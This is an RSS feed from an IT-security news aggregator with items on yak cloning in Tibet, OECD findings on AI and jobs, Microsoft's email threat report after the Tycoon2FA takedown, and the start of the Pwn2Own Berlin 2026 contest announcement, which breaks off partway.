<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=qodo+sonarqube+aipowered+traditional%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Tue, 28 Jul 2026 12:24:04 +0200</lastBuildDate>
<pubDate>Tue, 28 Jul 2026 12:24:04 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=qodo+sonarqube+aipowered+traditional%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=qodo+sonarqube+aipowered+traditional%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[China is Creating a Herd of 100 Elite Yak Clones]]></title>
<description><![CDATA[CNN reports on yaks "designed and cloned" in secretive, high-altitude labs in Tibet — 2.4 miles (4,000 meters) above sea level. They're a critical part of the local economy, and researchers "hope to create an 'elite' herd of super-yaks, healthier and more fertile than their predecessors."



Both...]]></description>
<link>https://tsecurity.de/de/3694805/it-security-nachrichten/china-is-creating-a-herd-of-100-elite-yak-clones/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694805/it-security-nachrichten/china-is-creating-a-herd-of-100-elite-yak-clones/</guid>
<pubDate>Sat, 25 Jul 2026 20:01:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[CNN reports on yaks "designed and cloned" in secretive, high-altitude labs in Tibet — 2.4 miles (4,000 meters) above sea level. They're a critical part of the local economy, and researchers "hope to create an 'elite' herd of super-yaks, healthier and more fertile than their predecessors."



Both domestic yaks and their wild cousins have been facing threats for years, with some rare subspecies at risk of disappearing entirely. Authorities in the southwestern Chinese region have poured tens of millions of dollars into boosting the yak industry in recent years — and they hope cloning can help. The first yak clone came in July 2025, Chinese state media hailing it as a breakthrough achievement that combined cloning with gene selection. More clones were born this spring — and researchers are now aiming to create a herd of more than 100 "elite" yak clones by 2028, boasting desired traits like faster growth and larger size. "This shows the technology has moved from a one-time success to a stable, mass-scale application," said Fang Shengguo, the project's scientific lead and director of the State Conservation Center for Gene Resources of Endangered Wildlife, according to state-run news agency Xinhua... 


Many experts acknowledge there are legitimate arguments for using cloning in conservation, and for gene selection in farming. But the ethical waters are murky, and any such project should have high levels of public transparency and accountability, said Lisa Moses, a veterinarian and bioethicist at Harvard Medical School. So far, much of the yak cloning project remains mysterious, with information largely limited to glowing state-media coverage... 


[S]ome scientists say these projects reduce our sense of urgency toward fixing the environment, and that we can't simply churn out clones while the planet burns. To truly enact change, they say, we have to continue addressing the root cause of the problem — restoring degraded habitats, lowering carbon emissions, cracking down on poaching, and more. But for others, "there is a strong feeling ... that traditional conservation is essentially failing now," Moses said. "What we've been doing for the last 100 years to try to stave off ecological destruction is not working.... The argument is, we don't have a choice," she added. "If we want to try to do something that will actually make a difference, we need to use these technologies, specifically synthetic biology, to essentially override evolution and change the fitness of the species for the environment that they live in." 

"History is littered with good intentions in the environment gone wrong," Moses said, "and I would argue that these technologies have even more unknowns than ones that we previously employed."

 

The article points out that the number of wild yaks "dropped more than a third in the last 30 years,
with just 10,000 to 20,000 individuals left, according to the Wildlife Conservation Society." 


The yaks are threatened by climate change and habitat degradation, "with warmer temperatures bringing invasive plant species and increased competition for resources... in one of the world's most inhospitable terrains."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=China+is+Creating+a+Herd+of+100+Elite+Yak+Clones%3A+https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F07%2F25%2F1656259%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F07%2F25%2F1656259%2Fchina-is-creating-a-herd-of-100-elite-yak-clones%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://science.slashdot.org/story/26/07/25/1656259/china-is-creating-a-herd-of-100-elite-yak-clones?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OECD: Physical labor isn’t immune from AI disruptions]]></title>
<description><![CDATA[Jobs involving physical labor are at high risk of disruption from automation, with new technologies such as AI robots becoming more prevalent, according to a recent study by the Organization for Economic Co-operation and Development (OECD). That means workers in construction and extraction, farmi...]]></description>
<link>https://tsecurity.de/de/3694778/ai-nachrichten/oecd-physical-labor-isnt-immune-from-ai-disruptions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694778/ai-nachrichten/oecd-physical-labor-isnt-immune-from-ai-disruptions/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Jobs involving physical labor are at high risk of disruption from automation, with new technologies such as AI robots becoming more prevalent, <a href="https://www.oecd.org/en/publications/skills-in-the-ai-age_972bd15e-en.html" target="_blank" rel="noreferrer noopener">according to a recent study</a> by the Organization for Economic Co-operation and Development (OECD). That means workers in construction and extraction, farming, fishing, forestry, production and material transportation could be affected by fast-moving technology changes.</p>



<p class="wp-block-paragraph">“Routine and low-skilled jobs are at higher risk,” the Paris-based public policy group said, adding that “overall, jobs requiring non-routine cognitive, social and creative skills are less susceptible to automation.”</p>



<p class="wp-block-paragraph">The kinds of creative and cognitive jobs still thought to be less exposed to automation include social work and community service roles. </p>



<p class="wp-block-paragraph">OECD also said management jobs — which often require workers to devise creative answers to solve problems — fall within the creative and cognitive category. “While AI has made some high-skill job requirements more susceptible to automation, many critical skills in these roles remain difficult to automate,” OECD said.</p>



<p class="wp-block-paragraph">The same still holds true for some physical and manual labor jobs – including cleaners, agricultural workers, food-prep assistants, and laborers — which are less exposed to the affects of AI, OECD said.  </p>



<p class="wp-block-paragraph">But people who work in programming, translating and interpretation positions could find their work affected by the quick rise of AI tools and services. According to the organization, global AI uptake rose from 7% in 2021 to 20% in 2025.</p>



<p class="wp-block-paragraph">“In these occupations, GenAI could perform a significant share of tasks at least twice as fast today or in the near future,” OECD said.</p>



<p class="wp-block-paragraph">The effects of the AI boom are not always uniform across industries or regions. In a separate <a href="https://www.oecd.org/en/publications/oecd-employment-outlook-2026_7e710f54-en.html" target="_blank" rel="noreferrer noopener">2026 Employment Outlook study</a> released by the group, exposure to disruption from generative AI (genAI) ranges from about 16% in some areas to more than 70% elsewhere, depending on industries and occupations. </p>



<p class="wp-block-paragraph">Numerous research firms have said in recent years that <a href="https://www.computerworld.com/article/4151328/ai-threatens-jobs-that-can-be-unbundled-2.html">AI is driving short-term job losses</a>, though tech industry experts and analysts have argued AI will also create new careers and jobs as <a href="https://www.computerworld.com/article/4100257/mit-creates-an-ai-labor-index-as-agents-invade-human-economies.html">agentic AI takes over low-skilled work</a>. </p>



<p class="wp-block-paragraph">AI technology has become so ubiquitous that it’s been compared to electricity — virtually all companies will need it or at least know how to use it. But it’s adoption has been hindered at times as companies struggle to find ROI from its use, and by regulatory and ethical hurdles.</p>



<h2 class="wp-block-heading">In the US, AI blamed for June job losses</h2>



<p class="wp-block-paragraph">According to a <a href="https://www.challengergray.com/wp-content/uploads/2026/07/Challenger-Report-June2600986996.pdf" target="_blank" rel="noreferrer noopener">Challenger, Gray &amp; Christmas study</a> released earlier this month, AI was cited as the top reason for job cuts in June. The outplacement firm said employers cut 45,849 job cuts in June, of which 14,029 were attributed to AI, with the tech industry leading the cuts.</p>



<p class="wp-block-paragraph">“Tech remains the epicenter of this year’s cuts,” Challenger said. “AI is the dominant force as companies are restructuring around it, automating roles, and reallocating budgets toward new capabilities. The sector is being reshaped in real time.”</p>



<p class="wp-block-paragraph">Overall, AI has been responsible for 173,568 job cuts since 2021, the company said.</p>



<p class="wp-block-paragraph">AI is hurting jobs in customer service, internal reporting, telecommunications, and hosting automation, said Victor Janulaitis, a staffing consultant who was formerly CEO at Janco Associates Inc.</p>



<p class="wp-block-paragraph">“C-level executives continue to be focused on eliminating ‘non-essential’ managers, staff, and services,” he said. “Coders and developers have limited opportunities with legacy applications.”</p>



<p class="wp-block-paragraph">While jobs in the IT sector overall are declining, current hiring tends to skew in the direction of people with AI skills. A <a href="https://www.comptia.org/en/resources/research/tech-jobs-report/" target="_blank" rel="noreferrer noopener">report this month by CompTIA</a> put job listings with AI skills at around 500,000, which is close to double the number in January.</p>



<p class="wp-block-paragraph">“Employers in other industries are accelerating digital transformation initiatives and moving from AI experimentation to implementation,” said Seth Robinson, CompTIA’s vice president for industry research.</p>



<p class="wp-block-paragraph">That view dovetails with what ManpowerGroup, the recruitment firm, is seeing; demand for AI-related skills has nearly doubled over the past year, said Ger Doyle, regional president of North America at ManpowerGroup.</p>



<p class="wp-block-paragraph">That growth extends well beyond traditional technology roles as companies move from experimenting to AI deployments at scale, Doyle said. “We’re seeing it influence hiring across occupations ranging from data science and engineering to project management and operational roles,” he said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Email threats changed after the Tycoon2FA take-down]]></title>
<description><![CDATA[Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.



“Phishing volume linked to the platform fell 92% from pre-disruption aver...]]></description>
<link>https://tsecurity.de/de/3694766/ai-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694766/ai-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Traditional phishing techniques are in decline as a result of the <a href="https://www.csoonline.com/article/4140890/microsoft-leads-takedown-of-tycoon2fa-phishing-service-infrastructure.html">disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform</a>, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.</p>



<p class="wp-block-paragraph">“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in <a href="https://www.microsoft.com/en-us/security/blog/2026/07/23/email-threat-landscape-q2-2026-trends-and-insights/">the report</a>.</p>



<p class="wp-block-paragraph">The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.</p>



<p class="wp-block-paragraph">Riding this shift in were a few notable phishing campaigns, including an automated <a href="https://www.csoonline.com/article/575559/business-email-compromise-scams-take-new-dimension-with-multi-stage-attacks.html">business email compromise</a> (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.</p>



<p class="wp-block-paragraph">To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to <a href="https://www.csoonline.com/article/4176814/security-experts-caution-mfa-alone-can-no-longer-stop-threat-actors.html">MFA</a> for accounts that still require passwords.</p>



<h2 class="wp-block-heading">Tycoon2FA disruption sent attackers exploring</h2>



<p class="wp-block-paragraph">The take-down of <a href="https://www.csoonline.com/article/4100393/hybrid-2fa-phishing-kits-are-making-attacks-harder-to-detect.html">Tycoon2FA</a> forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.</p>



<p class="wp-block-paragraph">“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.</p>



<p class="wp-block-paragraph">The decline extended to QR Code <a href="https://www.csoonline.com/article/3557585/attackers-are-using-qr-codes-sneakily-crafted-in-ascii-and-blob-urls-in-phishing-emails.html">lures</a> and fake CAPTCHA <a href="https://www.csoonline.com/article/3829416/fake-captcha-attacks-are-increasing-say-experts.html">pages</a>, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.</p>



<p class="wp-block-paragraph">But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.</p>



<p class="wp-block-paragraph">The adaptation came in the form of using Microsoft <a href="https://www.csoonline.com/article/4160858/attackers-abuse-microsoft-teams-to-impersonate-the-it-helpdesk-in-a-new-enterprise-intrusion-playbook.html">Teams as a social engineering channel</a>. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.</p>



<p class="wp-block-paragraph">Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.</p>



<h2 class="wp-block-heading">Phishing changes but the defense doesn’t</h2>



<p class="wp-block-paragraph">While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.</p>



<p class="wp-block-paragraph">QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.</p>



<p class="wp-block-paragraph">BEC attacks hit 9 million in March, falling to 3.9 million in June.</p>



<p class="wp-block-paragraph">But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant <a href="https://www.csoonline.com/article/3535222/mfa-adoption-is-catching-up-but-is-not-quite-there.html">MFA</a> to reduce the effectiveness of credential theft campaigns.</p>



<p class="wp-block-paragraph">The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, <a href="https://www.csoonline.com/article/4040128/fido-undermined.html">FIDO </a>keys, and Microsoft Authenticator.</p>



<p class="wp-block-paragraph">Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.csoonline.com/article/4201146/tycoon2fa-takedown-reshapes-the-phishing-landscape.html">CSO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Accelerating Arm momentum in Japan with App Assure]]></title>
<description><![CDATA[Worldwide, customers are adopting Arm-powered Copilot+ PCs for the many benefits they provide over traditional PCs. These devices deliver industry-leading performance, outpacing competitors in both every day and demanding workloads, while off
The post Accelerating Arm momentum in Japan with App A...]]></description>
<link>https://tsecurity.de/de/3694514/it-security-nachrichten/accelerating-arm-momentum-in-japan-with-app-assure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694514/it-security-nachrichten/accelerating-arm-momentum-in-japan-with-app-assure/</guid>
<pubDate>Sat, 25 Jul 2026 19:01:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Worldwide, customers are adopting Arm-powered Copilot+ PCs for the many benefits they provide over traditional PCs. These devices deliver industry-leading performance, outpacing competitors in both every day and demanding workloads, while off</p>
<p>The post <a href="https://blogs.windows.com/windowsdeveloper/2026/02/10/accelerating-arm-momentum-in-japan-with-app-assure/">Accelerating Arm momentum in Japan with App Assure</a> appeared first on <a href="https://blogs.windows.com/windowsdeveloper">Windows Developer Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Announcing Pwn2Own Berlin for 2026]]></title>
<description><![CDATA[If you just want to read the contest rules, click here. Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of...]]></description>
<link>https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>If you just want to read the contest rules, click </em><a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank"><em>here</em></a><em>.</em></p><p class=""> </p><p class="">Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and <a href="https://www.offensivecon.org/" target="_blank">OffensiveCon</a>. Outside of our <a href="https://www.youtube.com/shorts/Xj9Du8iuXCw" target="_blank">shipping troubles</a>, we had an amazing time and can’t wait to get back.</p><p class="">Last year, we added <strong>Artificial Intelligence</strong> as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from <strong>AWS </strong>wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.</p><p class="">The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:  </p>





















  
  



<p><a data-preserve-html-node="true" name="top"></a> 
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#virtual">-- Virtualization</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#browser">-- Web Browser</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#entapps">-- Enterprise Applications</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#server">-- Servers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#eop">-- Local Escalation of Privilege</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#container">-- Containers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aidb">-- AI Database</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aicode">-- Coding Agents</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#ailocal">-- Local Inference</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#nvidia">-- NVIDIA</a>  </p>




  <p class="">Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do <em>not</em> go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for <a href="https://www.zerodayinitiative.com/about/benefits/" target="_blank">Platinum</a> status), a killer <a href="https://static1.squarespace.com/static/5894c269e4fcb5e65a1ed623/t/5b8993b321c67c67b886f506/1535742910114/trophy.jpg" target="_blank">trophy</a>, and a <a href="https://pbs.twimg.com/media/C6Z5iQQXEAEPQ0Q.jpg" target="_blank">pretty</a> <a href="https://pbs.twimg.com/media/DNhpw_xUEAEkEwG.jpg" target="_blank">snazzy</a> <a href="https://pbs.twimg.com/media/Cu-6uFSWcAEefBS.jpg" target="_blank">jacket</a> to boot.</p><p class="">Let's look at the details of the rules for this year's event.</p>





















  
  



<p><a data-preserve-html-node="true" name="virtual"></a>  </p>
<p><b data-preserve-html-node="true">Virtualization Category</b> </p>




  <p class="">Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.</p><p class="">There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target <em>and</em> obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="browser"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Web Browser Category</b></p>




  <p class="">While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="entapps"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Enterprise Applications Category</b></p>




  <p class="">Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.</p><p class="">This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just <a href="https://x.com/thezdi/status/2031496424488042681" target="_blank">patched</a> a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
